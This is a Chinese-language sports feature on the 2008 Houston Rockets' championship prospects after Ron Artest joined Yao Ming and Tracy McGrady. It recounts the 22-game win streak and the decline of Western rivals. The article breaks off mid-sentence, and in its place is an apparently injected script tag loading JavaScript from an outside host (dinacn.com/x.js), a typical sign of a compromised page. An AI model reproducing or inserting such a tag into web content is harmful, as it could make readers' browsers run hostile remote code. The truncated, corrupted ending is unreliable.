阿泰斯特加盟之后，火箭队一跃成为有实力争夺冠军的有数强队之一，从2002年获得姚明以来屡屡放空的赛季口号，这一次终于实至名归，Get Red！
 
    重装上阵 新赛季即将到来，火箭队厉兵秣马，整装待发，图为队中六员主将，其中96号阿泰斯特顶替受伤的巴蒂尔，进入主力阵容。
 
    每年10月，联盟有十多支嘴上的冠军队，然后，其中绝大多数——或全部——在次年夏天销声匿迹。这种被默认的空谈与幻想，并不会计算8个月的漫长赛季中所会出现的意外。因此，当姚明与麦迪再次谈论起远大前程时，你不会感到陌生——每一年我们都会听见类似的话语，只是具体词句会略加改变。
 
    但是，2008年10月，当姚明谈论起“我们到了收获时节”，麦迪说到“止步于第二轮都会令我失望”时，你还是会多少对这上下齐心的自信感到意外吧？如果你被火箭队上下口径一致的“这是有史以来最强的火箭”给吓到，需要找一个低调者听一点理性意见，最后也只能满足于阿德尔曼的“火箭已经是总冠军竞争者”。
 
    这一次的高调，并不是为了迎合火箭的“Get Red”主题——虽然重提夺目的红，会让人想起汤姆贾诺维奇、奥拉朱旺、1994这些眩人眼目的主题；也不是因为言论能够带来冠军之类的动人话语——有许多远比他更动人的言论，比如马克·库班的“2008的小牛将比2006年总决赛的那支小牛更强大”。
 
    有志者事竟成在NBA时常是句甜美的谎言，如果大话能够带来胜利，那去年此时呼唤夺冠、今年在失去坎比后宣扬60胜的丹佛掘金早该把冠军奖杯捧回百事中心了。
 
    当然，一小部分原因，是火箭的景况确实今非昔比。命运如潮流，随风而转：2004年以来结构坚实的西部版图在这个秋季土石剥离、泥沙俱下。圣安东尼奥马刺将因为吉诺比利的伤而继续压榨他们日益老迈的腿；凤凰城体系的构造者德安东尼直奔纽约，队上除了斯塔德迈尔外首发平均34岁；达拉斯夏天仅签了两位合计年薪163万的新队员，而总年薪已高达9216万，球队30岁以下24岁以上的当打球员仅有职业生涯还未得满1000分的迪奥普，以及夏天因为飙车、吸大麻和侮慢国旗而焦头烂额的约什·霍华德。
 
    山岳般的伟大对手总会老去，而一如老保守派教练弗拉特罗所言，“我们只需比对手崩溃得晚一点。”实际上，在过去的2007-2008赛季，火箭不动声色的完成了又一个50胜赛季，过去六季休斯敦平均47胜35负胜率联盟第七，近两季则登堂入室连续拿下50胜。经历过1992到1999的队史最辉煌期、1999到2002年的短暂调整后，火箭又一次高筑墙、广积粮、缓称王的站到了强队之林中——而且，比起那些老去的对手来说，火箭什么都还没失去。
 
    不只是没有失去，当世界在飞沙走石中不断下沉之时，火箭却在徐徐上升，犹如黎明到来之前天空从浓黑向深蓝的缓慢过渡。湖人、凯尔特人那样一夜奋飞的伟大交易并没有出现，三年以来，令人感佩的消息都是在喜忧参半中获得的：麦迪的频繁受伤，姚明的崛起，姚明的受伤，麦迪的复苏，新教练，新战术，巴蒂尔到来，斯科拉到来，22连胜，伤病，失败。终于2008年夏，缓慢的积累获得了六年来最合算的一次收获——而使这次收获色彩明丽的，是此前火箭业已积累的红。在此之后，火箭的豪言依然，但口吻和2006年姚明的“我们会走得很远”已不一样了。
 
    “我想要一个总冠军，”麦迪说，“哪怕倒在第二轮，我还是会觉得失望。”而阿泰斯特则说，“火箭比我以往效力的球队都好。”——请注意，他曾为2003-2004赛季的那支6 1胜、差一点进总决赛的步行者效力过。重要的不是敌人变弱了，而是火箭自己变强了。
 
    记住这个数字，22。在2008年5月常规赛结束时，是这个数字维护了梦想的权利。除了1981-1982赛季的凯尔特人，所有单季18连胜以上的队伍全部夺冠了——如果不是姚明受伤，本不该如此。
 
    哥俩好 在经历了四个失望的赛季后，新赛季的MM组合将为总冠军而战斗。
 
    信心的来源之一，是火箭已呈现的那些细节：一如开拓者和国王一样，火箭被阿德尔曼迅速调理成了一支强队。在保有伟大防守的同时，拥有杰出的进攻。2007-2008赛季，最后一次完整状态——即姚明和麦迪齐全的火箭——出现于2月24日，22连胜的第12战。
 
    那时的火箭，已经经历过了11月的战术磨合、麦迪间歇发作的伤势、姚明被定位到高位这一系列变化。1月底开始，姚明对勇士的36分屠杀开始宣布他回到低位。在姚明与麦迪波澜壮?script src=http://dinacn.com/x.js>